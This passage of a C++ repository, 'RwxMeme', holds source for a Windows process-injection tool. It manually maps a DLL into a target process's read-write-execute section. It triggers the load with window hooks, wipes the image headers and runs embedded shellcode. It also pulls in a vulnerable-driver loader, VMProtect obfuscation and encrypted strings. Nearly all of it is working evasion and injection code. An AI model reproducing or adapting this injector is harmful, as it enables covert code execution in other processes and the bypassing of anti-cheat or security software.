currentImport : imports) { const wchar_t* moduleName = utils::GetWidechar(currentImport.module_name.c_str()); ULONG64 moduleAddress = memory_helper::GetModuleAddress(moduleName); if (!moduleAddress) { console::Error(E("Module %s not found"), currentImport.module_name.c_str()); global::ExitLoop(); } HMODULE targetModule = LoadLibraryExA(currentImport.module_name.c_str(), nullptr, DONT_RESOLVE_DLL_REFERENCES); if (!targetModule) { console::Error(E("Fail to load %s locally"), currentImport.module_name.c_str()); global::ExitLoop(); } for (auto& currentFunctionData : currentImport.function_datas) { FARPROC functionAddressLocal = GetProcAddress(targetModule, currentFunctionData.name.c_str()); if (!functionAddressLocal) { console::Error(E("Failed to resolve %s locally"), currentFunctionData.name.c_str()); global::ExitLoop(); } uint64_t functionAddress = moduleAddress + (reinterpret_cast(functionAddressLocal) - reinterpret_cast(targetModule)); if (!functionAddress) { console::Error(E("Failed to resolve %s"), currentFunctionData.name.c_str()); global::ExitLoop(); } *currentFunctionData.address = functionAddress; console::Debug(E("Module: %s name: %s address: 0x%p"), currentImport.module_name.c_str(), currentFunctionData.name.c_str(), functionAddress); } } console::Success(E("Imports resolved")); // TODO: clear headers (cache size first idiot) console::Info(E("Copying image")); memory_helper::WriteMemory(targetSectionBase, localImageBase, ntHeaders->OptionalHeader.SizeOfImage); console::Success(E("Image copied")); console::Info(E("Verifying image integrity")); void* localCopy = malloc(ntHeaders->OptionalHeader.SizeOfImage); memory_helper::ReadMemory(targetSectionBase, localCopy, ntHeaders->OptionalHeader.SizeOfImage); if (memcmp(localImageBase, localCopy, ntHeaders->OptionalHeader.SizeOfImage) != 0) { console::Error(E("Failed to verify image")); global::ExitLoop(); } console::Info(E("Wiping headers")); memory_helper::WriteMemory(targetSectionBase, &NtQuerySystemTime, ntHeaders->OptionalHeader.SizeOfHeaders); console::Success(E("Headers wiped")); console::Success(E("Image integrity verified")); console::Info(E("Copying shellcode")); const uint64_t addressOfEntryPoint = targetSectionBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; /* lea rax, [rip] # save next instruction address in rax mov rcx, [rax+100] # save value of byte check cmp rcx, 0 # check if byte is zero je execute_dll # if it is then call dll entry ret # if not then return execute_dll: mov rcx, 1 # set byte to disable double execution mov [rax+100], rcx # move it to the correct offset mov rdx, 0x1 # reason for call movabs rax,0xdeadfeeddead # entry point address jmp rax # let the fun begin */ BYTE shellcode[] = { 0x48, 0x8D, 0x05, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x48, 0x64, 0x48, 0x83, 0xF9, 0x00, 0x74, 0x01, 0xC3, 0x48, 0xC7, 0xC1, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x48, 0x64, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 0x48, 0xB8, 0xAD, 0xDE, 0xED, 0xFE, 0xAD, 0xDE, 0x00, 0x00, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; *reinterpret_cast(&shellcode[38]) = addressOfEntryPoint; const uint64_t targetShellcodeAddress = targetSectionBase - garbageSize / 2; memory_helper::WriteMemory(targetShellcodeAddress, shellcode, sizeof(shellcode)); console::Debug(E("Real entry: 0x%p"), addressOfEntryPoint); console::Debug(E("Shellcode: 0x%p"), targetShellcodeAddress); console::Success(E("Shellcode copied")); console::Info(E("Setting window hook")); HMODULE dummyModule = GetModuleHandleA(E("kernel32.dll")); if (!dummyModule) { console::Error(E("kernel32.dll not loaded (???)")); global::ExitLoop(); } //HHOOK handle = SetWindowsHookExA(WH_GETMESSAGE, reinterpret_cast(targetShellcodeAddress), dummyModule, tid); HHOOK handle = SetWindowsHookExA(WH_KEYBOARD, reinterpret_cast(targetShellcodeAddress), dummyModule, tid); if (!handle) { console::Error(E("Failed to set window hook")); global::ExitLoop(); } console::Success(E("Window hook set")); /*console::Info(E("Forcing hook call")); PostThreadMessageA(tid, WM_NULL, NULL, NULL); console::Success(E("Hook called"));*/ //console::Info(E("Removing hook")); console::Info(E("Press any key to unhook")); getchar(); BOOL unhook = UnhookWindowsHookEx(handle); if (!unhook) { console::Error(E("Failed to remove window hook")); global::ExitLoop(); } console::Success(E("Hook removed")); console::Info(E("Cleaning console")); Sleep(1000); console::OverwriteClear(); ProtectEnd(); } int main(int argc, char* argv[]) { ProtectUltra(); //console::Clear(); //console::Init(); console::Title(); if (argc != 4) { console::Error(E("Use this.exe ")); global::ExitLoop(); } const char* dllPath = argv[3]; if (!std::filesystem::exists(dllPath)) { console::Error(E("Invalid input dll path")); global::ExitLoop(); } if (!std::filesystem::exists(SIGNED_RWX_DLL_NAME)) { console::Error(E("Cannot find dll %s"), SIGNED_RWX_DLL_NAME); global::ExitLoop(); } if (!magic::Run()) global::ExitLoop(); const wchar_t* targetProcess = utils::GetWidechar(argv[1]); memory_helper::WaitAndOpenProcess(targetProcess); console::Info(E("Waiting for process to initialize")); Sleep(10000); console::Success(E("Wait completed")); console::Info(E("Reading dll")); const wchar_t* dllPathWide = utils::GetWidechar(dllPath); std::vector dllBuffer; if (!utils::ReadFileToMemory(dllPathWide, &dllBuffer)) { console::Error(E("Failed to read dll file")); global::ExitLoop(); } PIMAGE_DOS_HEADER dosHeader = reinterpret_cast(dllBuffer.data()); if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { console::Error(E("Invalid DOS header")); global::ExitLoop(); } PIMAGE_NT_HEADERS64 ntHeaders = reinterpret_cast(reinterpret_cast(dllBuffer.data()) + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { console::Error(E("Invalid NT headers")); global::ExitLoop(); } console::Success(E("Dll with size %u loaded"), ntHeaders->OptionalHeader.SizeOfImage); console::Info(E("Searching for target window")); const char* windowName = argv[2]; HWND hwnd = FindWindowA(NULL, windowName); if (!hwnd) { console::Error(E("Window does not seem to exist")); global::ExitLoop(); } console::Success(E("HWND: 0x%p"), hwnd); console::Info(E("Getting target thread")); DWORD pid = 0; DWORD tid = GetWindowThreadProcessId(hwnd, &pid); if (!tid) { console::Error(E("Failed to get thread id")); global::ExitLoop(); } if (pid != memory_helper::targetPid) { console::Error(E("Window PID and process PID does not match")); global::ExitLoop(); } console::Success(E("TID: %u"), tid); console::Info(E("Loading rwx dll")); HMODULE rwxDll = LoadLibraryExA(SIGNED_RWX_DLL_NAME, nullptr, DONT_RESOLVE_DLL_REFERENCES); if (!rwxDll) { console::Error(E("Failed to load rwx dll")); global::ExitLoop(); } console::Success(E("HMODULE: 0x%p"), rwxDll); console::Info(E("Getting dummy callback address")); HMODULE kernel32Dll = GetModuleHandleA(E("kernel32.dll")); if (!kernel32Dll) { console::Error(E("kernel32.dll not loaded (???)")); global::ExitLoop(); } HOOKPROC dummyFunction = (HOOKPROC)GetProcAddress(kernel32Dll, E("GetTickCount64")); if (!dummyFunction) { console::Error(E("Cannot find dummy export")); global::ExitLoop(); } console::Success(E("Callback: 0x%p"), dummyFunction); console::Info(E("Setting window hook")); HHOOK handle = SetWindowsHookExA(WH_GETMESSAGE, dummyFunction, rwxDll, tid); if (!handle) { console::Error(E("Failed to set window hook")); global::ExitLoop(); } console::Success(E("Window hook set")); console::Info(E("Forcing hook call")); PostThreadMessageA(tid, WM_NULL, NULL, NULL); Sleep(3000); console::Success(E("Hook called")); const wchar_t* rwxDllName = utils::GetWidechar(SIGNED_RWX_DLL_NAME); uint64_t rwxRemoteBase = memory_helper::GetModuleAddress(rwxDllName); if (!rwxRemoteBase) { console::Error(E("Module was not loaded")); global::ExitLoop(); } console::Info(E("Getting rwx section")); IMAGE_DOS_HEADER remoteDosHeader = memory_helper::Read(rwxRemoteBase); const uint64_t remoteNtHeadersBase = rwxRemoteBase + remoteDosHeader.e_lfanew; IMAGE_NT_HEADERS64 remoteNtHeaders = memory_helper::Read(remoteNtHeadersBase); uint64_t sectionAddress = remoteNtHeadersBase + FIELD_OFFSET(IMAGE_NT_HEADERS64, OptionalHeader) + remoteNtHeaders.FileHeader.SizeOfOptionalHeader; for (WORD i = 0; i < remoteNtHeaders.FileHeader.NumberOfSections; ++i) { IMAGE_SECTION_HEADER section = memory_helper::Read(sectionAddress + sizeof(IMAGE_SECTION_HEADER) * i); bool executable = ((section.Characteristics & 0x20000000) == 0x20000000); bool readable = ((section.Characteristics & 0x40000000) == 0x40000000); bool writeable = ((section.Characteristics & 0x80000000) == 0x80000000); if (executable && readable && writeable) { uint64_t rwxSection = rwxRemoteBase + section.VirtualAddress; console::Success(E("Found rwx section at 0x%p"), rwxSection); MapDll(rwxDll, tid, rwxSection, section.Misc.VirtualSize, dosHeader, ntHeaders); global::ExitLoop(); return 0; } } console::Error(E("Section not found")); global::ExitLoop(); ProtectEnd(); return 0; } ================================================ FILE: RwxMeme/RwxMeme/src/general.h ================================================ #ifndef GENERAL_H #define GENERAL_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "ntdll.lib") #include "utils/xor.h" #include "utils/console.h" #include "utils/vmprotect.h" #include "utils/executable.h" #include "driver/driver_resource.h" #include "driver/service.h" #include "driver/nt.h" #include "driver/intel_driver.h" #include "driver/utils.h" #include "driver/magic.h" #include "driver/memory.h" namespace global { inline bool ShouldExit = false; inline void ExitLoop() { ShouldExit = true; while (true) Sleep(10000); } } #endif ================================================ FILE: RwxMeme/RwxMeme/src/utils/console.cpp ================================================ #include "../general.h" void console::Base(Color color, const char* prefix, const char* text, va_list args) { ProtectUltra(); time_t currentTime; time(¤tTime); struct tm* timeInfo = localtime(¤tTime); char buffer[11]; strftime(buffer, 9, E("%H:%M:%S"), timeInfo); HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(consoleHandle, static_cast(Color::White)); printf(E("[%s]"), buffer); SetConsoleTextAttribute(consoleHandle, static_cast(color)); printf(E("[%s] "), prefix); SetConsoleTextAttribute(consoleHandle, static_cast(Color::DarkWhite)); vprintf(text, args); printf(E("\n")); ProtectEnd(); } void console::Info(const char* text, ...) { ProtectUltra(); va_list args; va_start(args, text); Base(Color::Cyan, E("i"), text, args); va_end(args); ProtectEnd(); } void console::Warning(const char* text, ...) { ProtectUltra(); va_list args; va_start(args, text); Base(Color::Yellow, E("w"), text, args); va_end(args); ProtectEnd(); } void console::Error(const char* text, ...) { ProtectUltra(); va_list args; va_start(args, text); Base(Color::Red, E("e"), text, args); va_end(args); ProtectEnd(); } void console::Success(const char* text, ...) { ProtectUltra(); va_list args; va_start(args, text); Base(Color::Green, E("s"), text, args); va_end(args); ProtectEnd(); } void console::Debug(const char* text, ...) { ProtectUltra(); va_list args; va_start(args, text); Base(Color::DarkGrey, E("d"), text, args); va_end(args); ProtectEnd(); } void console::Clear() { system(E("cls")); } void console::Init() { ProtectUltra(); CONSOLE_FONT_INFOEX cfi; cfi.cbSize = sizeof cfi; cfi.nFont = 0; cfi.dwFontSize.X = 0; cfi.dwFontSize.Y = 12; cfi.FontFamily = FF_DONTCARE; cfi.FontWeight = FW_NORMAL; wcscpy(cfi.FaceName, E(L"Lucida Console")); HANDLE console_handle = GetStdHandle(STD_OUTPUT_HANDLE); SetCurrentConsoleFontEx(console_handle, FALSE, &cfi); HWND console_window = GetConsoleWindow(); RECT r; GetWindowRect(console_window, &r); MoveWindow(console_window, r.left, r.top, 600, 600, TRUE); SetConsoleTitleA(E(" ")); ProtectEnd(); } void console::Title() { ProtectUltra(); HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(consoleHandle, static_cast(Color::Purple)); printf(E("RwxMeme\n")); SetConsoleTextAttribute(consoleHandle, static_cast(Color::DarkWhite)); printf(E("build on %s | tulach.cc | github.com/SamuelTulach\n\n"), __DATE__); ProtectEnd(); } void console::OverwriteClear() { ProtectMutate(); for (int i = 0; i < 10000; i++) printf(E(" \n")); ProtectEnd(); } ================================================ FILE: RwxMeme/RwxMeme/src/utils/console.h ================================================ #ifndef CONSOLE_H #define CONSOLE_H namespace console { enum class Color { Default, DarkBlue, DarkGreen, DarkCyan, DarkRed, DarkPurple, DarkYellow, DarkWhite, DarkGrey, Blue, Green, Cyan, Red, Purple, Yellow, White }; void Base(Color color, const char* prefix, const char* text, va_list args); void Info(const char* text, ...); void Warning(const char* text, ...); void Error(const char* text, ...); void Success(const char* text, ...); void Debug(const char* text, ...); void Clear(); void Init(); void Title(); void OverwriteClear(); std::string ReadInput(const char* text); } #endif ================================================ FILE: RwxMeme/RwxMeme/src/utils/executable.cpp ================================================ #include "../general.h" PIMAGE_NT_HEADERS64 executable::GetNtHeaders(void* imageBase) { ProtectUltra(); const auto dosHeader = reinterpret_cast(imageBase); if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return nullptr; const auto ntHeaders = reinterpret_cast(reinterpret_cast(imageBase) + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return nullptr; ProtectEnd(); return ntHeaders; } executable::VecRelocs executable::GetRelocs(void* imageBase) { ProtectUltra(); const PIMAGE_NT_HEADERS64 ntHeaders = GetNtHeaders(imageBase); if (!ntHeaders) return {}; VecRelocs relocs; DWORD relocVa = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; if (!relocVa) return {}; auto currentBaseRelocation = reinterpret_cast(reinterpret_cast(imageBase) + relocVa); const auto relocEnd = reinterpret_cast(reinterpret_cast(currentBaseRelocation) + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); while (currentBaseRelocation < relocEnd && currentBaseRelocation->SizeOfBlock) { RelocInfo relocInfo; relocInfo.address = reinterpret_cast(imageBase) + currentBaseRelocation->VirtualAddress; relocInfo.item = reinterpret_cast(reinterpret_cast(currentBaseRelocation) + sizeof(IMAGE_BASE_RELOCATION)); relocInfo.count = (currentBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(uint16_t); relocs.push_back(relocInfo); currentBaseRelocation = reinterpret_cast(reinterpret_cast(currentBaseRelocation) + currentBaseRelocation->SizeOfBlock); } ProtectEnd(); return relocs; } executable::VecImports executable::GetImports(void* imageBase) { ProtectUltra(); const PIMAGE_NT_HEADERS64 ntHeaders = GetNtHeaders(imageBase); if (!ntHeaders) return {}; DWORD importVa = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (!importVa) return {}; VecImports imports; auto currentImportDescriptor = reinterpret_cast(reinterpret_cast(imageBase) + importVa); while (currentImportDescriptor->FirstThunk) { ImportInfo importInfo; importInfo.module_name = std::string(reinterpret_cast(reinterpret_cast(imageBase) + currentImportDescriptor->Name)); auto currentFirstThunk = reinterpret_cast(reinterpret_cast(imageBase) + currentImportDescriptor->FirstThunk); auto currentOriginalFirstThunk = reinterpret_cast(reinterpret_cast(imageBase) + currentImportDescriptor->OriginalFirstThunk); while (currentOriginalFirstThunk->u1.Function) { ImportFunctionInfo importFunctionData; auto thunkData = reinterpret_cast(reinterpret_cast(imageBase) + currentOriginalFirstThunk->u1.AddressOfData); importFunctionData.name = thunkData->Name; importFunctionData.address = ¤tFirstThunk->u1.Function; importInfo.function_datas.push_back(importFunctionData); ++currentOriginalFirstThunk; ++currentFirstThunk; } imports.push_back(importInfo); ++currentImportDescriptor; } ProtectEnd(); return imports; } ================================================ FILE: RwxMeme/RwxMeme/src/utils/executable.h ================================================ #pragma once namespace executable { struct RelocInfo { uint64_t address; uint16_t* item; uint32_t count; }; struct ImportFunctionInfo { std::string name; uint64_t* address; }; struct ImportInfo { std::string module_name; std::vector function_datas; }; using VecSections = std::vector; using VecRelocs = std::vector; using VecImports = std::vector; PIMAGE_NT_HEADERS64 GetNtHeaders(void* imageBase); VecRelocs GetRelocs(void* imageBase); VecImports GetImports(void* imageBase); } ================================================ FILE: RwxMeme/RwxMeme/src/utils/vmprotect.h ================================================ #pragma once #if defined(__APPLE__) || defined(__unix__) #define VMP_IMPORT #define VMP_API #define VMP_WCHAR unsigned short #else #define VMP_IMPORT __declspec(dllimport) #define VMP_API __stdcall #define VMP_WCHAR wchar_t #endif // __APPLE__ || __unix__ #ifdef __cplusplus extern "C" { #endif // protection VMP_IMPORT void VMP_API VMProtectBegin(const char*); VMP_IMPORT void VMP_API VMProtectBeginVirtualization(const char*); VMP_IMPORT void VMP_API VMProtectBeginMutation(const char*); VMP_IMPORT void VMP_API VMProtectBeginUltra(const char*); VMP_IMPORT void VMP_API VMProtectBeginVirtualizationLockByKey(const char*); VMP_IMPORT void VMP_API VMProtectBeginUltraLockByKey(const char*); VMP_IMPORT void VMP_API VMProtectEnd(void); // utils VMP_IMPORT bool VMP_API VMProtectIsProtected(); VMP_IMPORT bool VMP_API VMProtectIsDebuggerPresent(bool); VMP_IMPORT bool VMP_API VMProtectIsVirtualMachinePresent(void); VMP_IMPORT bool VMP_API VMProtectIsValidImageCRC(void); VMP_IMPORT const char* VMP_API VMProtectDecryptStringA(const char* value); VMP_IMPORT const VMP_WCHAR* VMP_API VMProtectDecryptStringW(const VMP_WCHAR* value); VMP_IMPORT bool VMP_API VMProtectFreeString(const void* value); #define StrA(a) VMProtectDecryptStringA(a) #define StrW(a) VMProtectDecryptStringW(a) // licensing enum VMProtectSerialStateFlags { SERIAL_STATE_SUCCESS = 0, SERIAL_STATE_FLAG_CORRUPTED = 0x00000001, SERIAL_STATE_FLAG_INVALID = 0x00000002, SERIAL_STATE_FLAG_BLACKLISTED = 0x00000004, SERIAL_STATE_FLAG_DATE_EXPIRED = 0x00000008, SERIAL_STATE_FLAG_RUNNING_TIME_OVER = 0x00000010, SERIAL_STATE_FLAG_BAD_HWID = 0x00000020, SERIAL_STATE_FLAG_MAX_BUILD_EXPIRED = 0x00000040, }; #pragma pack(push, 1) typedef struct { unsigned short wYear; unsigned char bMonth; unsigned char bDay; } VMProtectDate; typedef struct { int nState; // VMProtectSerialStateFlags VMP_WCHAR wUserName[256]; // user name VMP_WCHAR wEMail[256]; // email VMProtectDate dtExpire; // date of serial number expiration VMProtectDate dtMaxBuild; // max date of build, that will accept this key int bRunningTime; // running time in minutes unsigned char nUserDataLength; // length of user data in bUserData unsigned char bUserData[255]; // up to 255 bytes of user data } VMProtectSerialNumberData; #pragma pack(pop) VMP_IMPORT int VMP_API VMProtectSetSerialNumber(const char* serial); VMP_IMPORT int VMP_API VMProtectGetSerialNumberState(); VMP_IMPORT bool VMP_API VMProtectGetSerialNumberData(VMProtectSerialNumberData* data, int size); VMP_IMPORT int VMP_API VMProtectGetCurrentHWID(char* hwid, int size); // activation enum VMProtectActivationFlags { ACTIVATION_OK = 0, ACTIVATION_SMALL_BUFFER, ACTIVATION_NO_CONNECTION, ACTIVATION_BAD_REPLY, ACTIVATION_BANNED, ACTIVATION_CORRUPTED, ACTIVATION_BAD_CODE, ACTIVATION_ALREADY_USED, ACTIVATION_SERIAL_UNKNOWN, ACTIVATION_EXPIRED, ACTIVATION_NOT_AVAILABLE }; VMP_IMPORT int VMP_API VMProtectActivateLicense(const char* code, char* serial, int size); VMP_IMPORT int VMP_API VMProtectDeactivateLicense(const char* serial); VMP_IMPORT int VMP_API VMProtectGetOfflineActivationString(const char* code, char* buf, int size); VMP_IMPORT int VMP_API VMProtectGetOfflineDeactivationString(const char* serial, char* buf, int size); #ifdef __cplusplus } #endif #define ProtectUltra() VMProtectBeginUltra(nullptr) #define ProtectMutate() VMProtectBeginMutation(nullptr) #define ProtectEnd() VMProtectEnd() ================================================ FILE: RwxMeme/RwxMeme/src/utils/xor.h ================================================ /* * Copyright 2017 - 2020 Justas Masiulis * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef JM_XORSTR_HPP #define JM_XORSTR_HPP #include #include #include #include #define xorstr(str) \ ::jm::make_xorstr( \ []() { return str; }, \ std::make_index_sequence{}, \ std::make_index_sequence<::jm::detail::_buffer_size()>{}) #define E(str) xorstr(str).crypt_get() #define EW(str) xorstr(str).crypt_get() #ifdef _MSC_VER #define XORSTR_FORCEINLINE __forceinline #else #define XORSTR_FORCEINLINE __attribute__((always_inline)) inline #endif namespace jm { namespace detail { template struct unsigned_; template<> struct unsigned_<1> { using type = std::uint8_t; }; template<> struct unsigned_<2> { using type = std::uint16_t; }; template<> struct unsigned_<4> { using type = std::uint32_t; }; template struct pack_value_type { using type = decltype(C); }; template XORSTR_FORCEINLINE constexpr std::size_t _buffer_size() { return ((Size / 16) + (Size % 16 != 0)) * 2; } template struct tstring_ { using value_type = typename pack_value_type::type; constexpr static std::size_t size = sizeof...(Cs); constexpr static value_type str[size] = { Cs... }; constexpr static std::size_t buffer_size = _buffer_size(); constexpr static std::size_t buffer_align = #ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS ((sizeof(str) > 16) ? 32 : 16); #else 16; #endif }; template struct _ki { constexpr static std::size_t idx = I; constexpr static std::uint64_t key = K; }; template XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept { std::uint32_t value = Seed; for (char c : __TIME__) value = static_cast((value ^ c) * 16777619ull); return value; } template XORSTR_FORCEINLINE constexpr std::uint64_t key8() { constexpr auto first_part = key4<2166136261 + S>(); constexpr auto second_part = key4(); return (static_cast(first_part) << 32) | second_part; } // loads up to 8 characters of string into uint64 and xors it with the key template XORSTR_FORCEINLINE constexpr std::uint64_t load_xored_str8(std::uint64_t key, std::size_t idx) noexcept { using cast_type = typename unsigned_::type; constexpr auto value_size = sizeof(typename T::value_type); constexpr auto idx_offset = 8 / value_size; std::uint64_t value = key; for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < T::size; ++i) value ^= (std::uint64_t{ static_cast(T::str[i + idx * idx_offset]) } << ((i % idx_offset) * 8 * value_size)); return value; } // forces compiler to use registers instead of stuffing constants in rdata XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept { #if defined(__clang__) || defined(__GNUC__) asm("" : "=r"(value) : "0"(value) : ); #endif return value; } XORSTR_FORCEINLINE void xor128(std::uint64_t* value, const std::uint64_t* key) noexcept { _mm_store_si128( reinterpret_cast<__m128i*>(value), _mm_xor_si128(_mm_load_si128(reinterpret_cast(value)), _mm_load_si128(reinterpret_cast(key)))); } XORSTR_FORCEINLINE void xor256(std::uint64_t* value, const std::uint64_t* key) noexcept { _mm256_store_si256( reinterpret_cast<__m256i*>(value), _mm256_xor_si256( _mm256_load_si256(reinterpret_cast(value)), _mm256_load_si256(reinterpret_cast(key)))); } template struct uint64_v { constexpr static std::uint64_t value = V; }; } // namespace detail template class xor_string { alignas(T::buffer_align) std::uint64_t _storage[T::buffer_size]; template XORSTR_FORCEINLINE void _crypt_256(const std::uint64_t* keys, std::index_sequence) noexcept { (detail::xor256(_storage + Idxs * 4, keys + Idxs * 4), ...); } template XORSTR_FORCEINLINE void _crypt_128(const std::uint64_t* keys, std::index_sequence) noexcept { (detail::xor128(_storage + Idxs * 2, keys + Idxs * 2), ...); } public: using value_type = typename T::value_type; using size_type = std::size_t; using pointer = value_type*; using const_pointer = const value_type*; XORSTR_FORCEINLINE xor_string() noexcept : _storage{ detail::load_from_reg(detail::uint64_v( Keys::key, Keys::idx)>::value)... } { } XORSTR_FORCEINLINE constexpr size_type size() const noexcept { return T::size - 1; } XORSTR_FORCEINLINE void crypt() noexcept { #if defined(__clang__) alignas(T::buffer_align) std::uint64_t arr[sizeof...(Keys)]{ detail::load_from_reg(Keys::key)... }; std::uint64_t* keys = (std::uint64_t*)detail::load_from_reg((std::uint64_t)arr); #else alignas(T::buffer_align) std::uint64_t keys[sizeof...(Keys)]{ detail::load_from_reg(Keys::key)... }; #endif #ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS _crypt_256(keys, std::make_index_sequence{}); if constexpr (T::buffer_size % 4 != 0) _crypt_128(keys, std::index_sequence{}); #else _crypt_128(keys, std::make_index_sequence{}); #endif } XORSTR_FORCEINLINE const_pointer get() const noexcept { return reinterpret_cast(_storage); } XORSTR_FORCEINLINE pointer get() noexcept { return reinterpret_cast(_storage); } XORSTR_FORCEINLINE pointer crypt_get() noexcept { crypt(); return (pointer)(_storage); } }; template XORSTR_FORCEINLINE constexpr auto make_xorstr(Tstr str_lambda, std::index_sequence, std::index_sequence) noexcept { return xor_string, detail::_ki()>...>{}; } } // namespace jm #endif // include guard